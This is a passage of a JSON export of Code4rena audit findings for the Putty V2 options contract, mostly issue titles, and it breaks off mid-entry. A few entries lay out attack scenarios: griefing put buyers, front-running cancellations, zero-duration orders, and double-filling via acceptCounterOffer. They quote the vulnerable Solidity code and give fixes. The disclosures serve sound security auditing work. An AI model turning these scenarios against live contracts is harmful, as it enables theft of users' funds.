"# Lines of code https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L453-L454 # Vulnerability details ## Impact Put option buyers pay an option premium to the seller for the privilege of being able to 'put' assets to the seller and get the strike price for it rather than the current market price. If they're unable to perform the 'put', they've paid the premium for nothing, and essentially have had funds stolen from them. ## Proof of Concept If the put option seller includes in `order.erc20Assets`, an amount of zero for any of the assets, or specifies an asset that doesn't currently have any code at its address, the put buyer will be unable to exercise the option, and will have paid the premium for nothing: ```solidity File: contracts/src/PuttyV2.sol #1 453 // transfer assets from exerciser to putty 454 _transferERC20sIn(order.erc20Assets, msg.sender); ``` https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L453-L454 The function reverts if any amount is equal to zero, or the asset doesn't exist: ```solidity File: contracts/src/PuttyV2.sol #2 593 function _transferERC20sIn(ERC20Asset[] memory assets, address from) internal { 594 for (uint256 i = 0; i < assets.length; i++) { 595 address token = assets[i].token; 596 uint256 tokenAmount = assets[i].tokenAmount; 597 598 require(token.code.length > 0, \"ERC20: Token is not contract\"); 599 require(tokenAmount > 0, \"ERC20: Amount too small\"); 600 601 ERC20(token).safeTransferFrom(from, address(this), tokenAmount); 602 } 603 } ``` https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L593-L603 ## Tools Used Code inspection ## Recommended Mitigation Steps Verify the asset amounts and addresses during `fillOrder()`, and allow exercise if the token no longer exists at that point in time "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/220", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/219", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/218", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/217", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/214", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/213", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/212", "labels": ["bug", "QA (Quality Assurance)", "high quality QA"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/210", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/204", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/200", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/199", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Use a reentrancy guard ", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/198", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-putty-findings", "body": "Use a reentrancy guard "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/195", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/194", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/193", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "high quality QA"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/191", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/190", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/189", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/188", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/187", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Order cancellation is prone to frontrunning and is dependent on a centralized database", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/186", "labels": ["bug", "help wanted", "2 (Med Risk)", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-06-putty-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L526-L535 # Vulnerability details ## Impact Order cancellation requires makers to call `cancel()`, inputting the order as a function parameter. This is the only cancellation method, and it can cause two issues. This first issue is that it is an on-chain signal for MEV users to frontrun the cancellation and fill the order. The second issue is the dependency to a centralized service for cancelling the order. As orders are signed off chain, they would be stored in a centralized database. It is unlikely that an end user would locally record all the orders they make. This means that when cancelling an order, maker needs to request the order parameters from the centralized service. If the centralized service goes offline, it could allow malicious parties who have a copy of the order database to fill orders that would have been cancelled otherwise. ## Proof of Concept 1. Bob signs an order which gets recorded in Putty servers. 2. Alice mirrors all the orders using Putty APIs. 3. Putty servers go offline. 4. Bob wants to cancel his order because changing token prices makes his order less favourable to him. 5. Bob cannot cancel his order because Putty servers are down and he does not remember the exact amounts of tokens he used. 6. Alice goes through all the orders in her local mirror and fulfills the non-cancelled orders, including Bob's, with extremely favourable terms for herself. ## Tools Used Pen & paper. ## Recommended Mitigation Steps Aside from the standard order cancellation method, have an extra method to cancel all orders of a caller. This can be achieved using a \"minimum valid nonce\" state variable, as a mapping from user address to nonce. ```solidity mapping(address => uint256) minimumValidNonce; ``` Allow users to increment their `minimumValidNonce`. Make sure the incrementation function do not allow incrementing more than `2**64` such that callers cannot lock themselves out of creating orders by increasing `minimumValidNonce` to `2**256-1` by mistake. Then, prevent filling orders if `order.nonce < minimumValidNonce`. Another method to achieve bulk cancelling is using counters. For example, Seaport [uses counters](https://github.com/ProjectOpenSea/seaport/blob/171f2cd7faf13b2bf0455851499f1981274977f7/contracts/lib/CounterManager.sol), which is an extra order parameter that has to match the corresponding counter state variable. It allows maker to cancel all his orders by [incrementing the counter state variable by one](https://github.com/ProjectOpenSea/seaport/blob/171f2cd7faf13b2bf0455851499f1981274977f7/contracts/lib/Consideration.sol#L475-L478). Either of these extra cancellation methods would enable cancelling orders without signalling to MEV bots, and without a dependency to a centralized database. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/184", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/182", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/181", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/180", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/179", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/178", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/177", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "It's possible to cancel orders after they are filled and exercised which would make contract storage state to be in contradiction state", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/173", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "It's possible to cancel orders after they are filled and exercised which would make contract storage state to be in contradiction state"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/169", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/168", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/167", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/166", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)", "high quality QA"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/162", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/160", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/159", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/154", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)", "high quality QA"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/150", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/147", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/146", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/142", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Long whitelist could cause out of gas error", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/137", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-putty-findings", "body": "Long whitelist could cause out of gas error"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/125", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/119", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Order duration can be set to 0 by Malicious maker", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/107", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-putty-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-putty/blob/main/contracts/src/PuttyV2.sol#L287 # Vulnerability details ## Impact A malicious maker can set a minimum order duration as 0 which means order will instantly expire after filling. Taker will get only the withdraw option and that too with fees on strike price, thus forcing the taker to lose money in this meaningless transaction ## Proof of Concept !. Maker creates an order with zero Order duration 2. Taker fills this order but the order instantly expires since duration was 0 3. Taker gets the only option to withdraw with fees on strike price ## Recommended Mitigation Steps Enforce atleast x days of duration "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/102", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/99", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/98", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/92", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Malicious long options can be used by makers to DOS takers", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-putty-findings", "body": "Malicious long options can be used by makers to DOS takers"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/84", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "cancel() function does not check if the order has already been filled", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/81", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "cancel() function does not check if the order has already been filled"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/78", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "filled orders can be cancelled", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/73", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "filled orders can be cancelled"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/70", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "orders can be cancelled at any time", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "orders can be cancelled at any time"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/59", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Overlap Between `ERC721.transferFrom()` and `ERC20.transferFrom()` Allows `order.erc20Assets` or `order.baseAsset` To Be ERC721 Rather Than ERC20", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/52", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-putty-findings", "body": "Overlap Between `ERC721.transferFrom()` and `ERC20.transferFrom()` Allows `order.erc20Assets` or `order.baseAsset` To Be ERC721 Rather Than ERC20"}] \ No newline at end of file diff --git a/results/codearena_findings_22.json b/results/codearena_findings_22.json new file mode 100644 index 0000000..f78fa66 --- /dev/null +++ b/results/codearena_findings_22.json @@ -0,0 +1 @@ +[{"title": "Malicious Token Contracts May Lead To Locking Orders", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-putty-findings", "body": "Malicious Token Contracts May Lead To Locking Orders"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/46", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "`acceptCounterOffer()` May Result In Both Orders Being Filled", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/44", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-putty-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L573-L584 # Vulnerability details ## Impact When a user is attempting to accept a counter offer they call the function [acceptCounterOffer()](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L573-L584) with both the `originalOrder` to be cancelled and the new `order` to fill. It is possible for an attacker (or any other user who happens to call `fillOrder()` at the same time) to fill the `originalOrder` before `acceptCounterOffer()` cancels it. The impact is that both `originalOrder` and `order` are filled. The `msg.sender` of `acceptCounterOffer()` is twice as leveraged as they intended to be if the required token transfers succeed. ## Proof of Concept [acceptCounterOffer()](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L573-L584) calls `cancel()` on the original order, however it will not revert if the order has already been filled. ```solidity function acceptCounterOffer( Order memory order, bytes calldata signature, Order memory originalOrder ) public payable returns (uint256 positionId) { // cancel the original order cancel(originalOrder); // accept the counter offer uint256[] memory floorAssetTokenIds = new uint256[](0); positionId = fillOrder(order, signature, floorAssetTokenIds); } ``` [cancel()](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L526-L535) does not revert if an order has already been filled it only prevents future `fillOrder()` transactions from succeeding. ```solidity function cancel(Order memory order) public { require(msg.sender == order.maker, \"Not your order\"); bytes32 orderHash = hashOrder(order); // mark the order as cancelled cancelledOrders[orderHash] = true; emit CancelledOrder(orderHash, order); } ``` Therefore any user may front-run the `acceptCounterOffer()` transaction with a `fillOrder()` transaction that fills the original order. As a result the user ends up filling both `order` and `originalOrder`. Then `acceptCounterOffer()` cancels the `originalOrder` which is essentially a no-op since it's been filled and continues to fill the new `order` resulting in both orders being filled. ## Recommended Mitigation Steps Consider having `cancel()` revert if an order has already been filled. This can be done by adding the following line `require(_ownerOf[uint256(orderHash)] == 0)`. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/43", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/42", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/32", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/31", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/26", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/24", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/23", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Lack of two-step procedure for transferring ownership is error prone", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/18", "labels": ["bug", "help wanted", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-putty-findings", "body": "Lack of two-step procedure for transferring ownership is error prone"}, {"title": "An attacker can create a short put option order on an NFT that does not support ERC721(like cryptopunk), and the user can fulfill the order, but cannot exercise the option", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/16", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-06-putty-findings", "body": "An attacker can create a short put option order on an NFT that does not support ERC721(like cryptopunk), and the user can fulfill the order, but cannot exercise the option"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/15", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/14", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/10", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/9", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/2", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Agreement & Disclosures", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/1", "labels": [], "target": "2022-06-putty-findings", "body": "Agreement & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/368", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/367", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/366", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/365", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/364", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/359", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/358", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/357", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/355", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/352", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/351", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/349", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/347", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/344", "labels": ["bug", "QA (Quality Assurance)", "valid"], "target": "2022-07-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/343", "labels": ["bug", "G (Gas Optimization)", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/342", "labels": ["bug", "G (Gas Optimization)", "old-submission-method", "valid"], "target": "2022-07-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-07-juicebox-findings/issues/340", 